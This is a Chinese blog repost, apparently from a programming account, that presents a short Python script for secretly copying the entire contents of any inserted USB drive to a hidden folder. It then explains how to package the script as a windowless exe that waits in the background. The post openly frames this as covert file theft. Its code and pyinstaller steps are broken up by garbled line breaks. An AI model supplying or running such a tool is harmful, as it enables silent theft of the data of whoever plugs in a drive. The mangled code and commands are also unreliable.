用几行python代码偷偷复制U盘文件
前言
代码
import os
import
timefrom datetime import datetime
import shutil
# U盘的盘符
usb_path =
"E:/"# 要复制到的路径
save_path =
"D:/haha"while
(True):
if
os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime(
"%Y%m%d_%H%M%S")))
break
else
:
time.sleep(
10)
usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘 save_path就是你要把复制的文件保存在哪里
Python文件打包成exe
install pyinstaller
mhammond/pywin32
[pywin32-223.win32-py3.6.exe]
3
.6.3 ...
[MSC v.1900 32 bit (Intel)]onwin32[pywin32-223.win-amd64-py3.6.exe]
3
.6.3 ...
[MSC v.1900 64 bit (AMD64)]onwin32实例说明
test.py
,绝对路径在[D:\project]
,打包成一个exe格式的文件:\
project\
test.py:\
project\
test.py运行程序
最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。
文章转载:Python
(版权归原作者所有,侵删)
点击下方“阅读原文”查看更多
最新评论
推荐文章
作者最新文章
你可能感兴趣的文章
Copyright Disclaimer: The copyright of contents (including texts, images, videos and audios) posted above belong to the User who shared or the third-party website which the User shared from. If you found your copyright have been infringed, please send a DMCA takedown notice to [email protected]. For more detail of the source, please click on the button "Read Original Post" below. For other communications, please send to [email protected].
版权声明:以上内容为用户推荐收藏至CareerEngine平台,其内容(含文字、图片、视频、音频等)及知识版权均属用户或用户转发自的第三方网站,如涉嫌侵权,请通知[email protected]进行信息删除。如需查看信息来源,请点击“查看原文”。如需洽谈其它事宜,请联系[email protected]。
版权声明:以上内容为用户推荐收藏至CareerEngine平台,其内容(含文字、图片、视频、音频等)及知识版权均属用户或用户转发自的第三方网站,如涉嫌侵权,请通知[email protected]进行信息删除。如需查看信息来源,请点击“查看原文”。如需洽谈其它事宜,请联系[email protected]。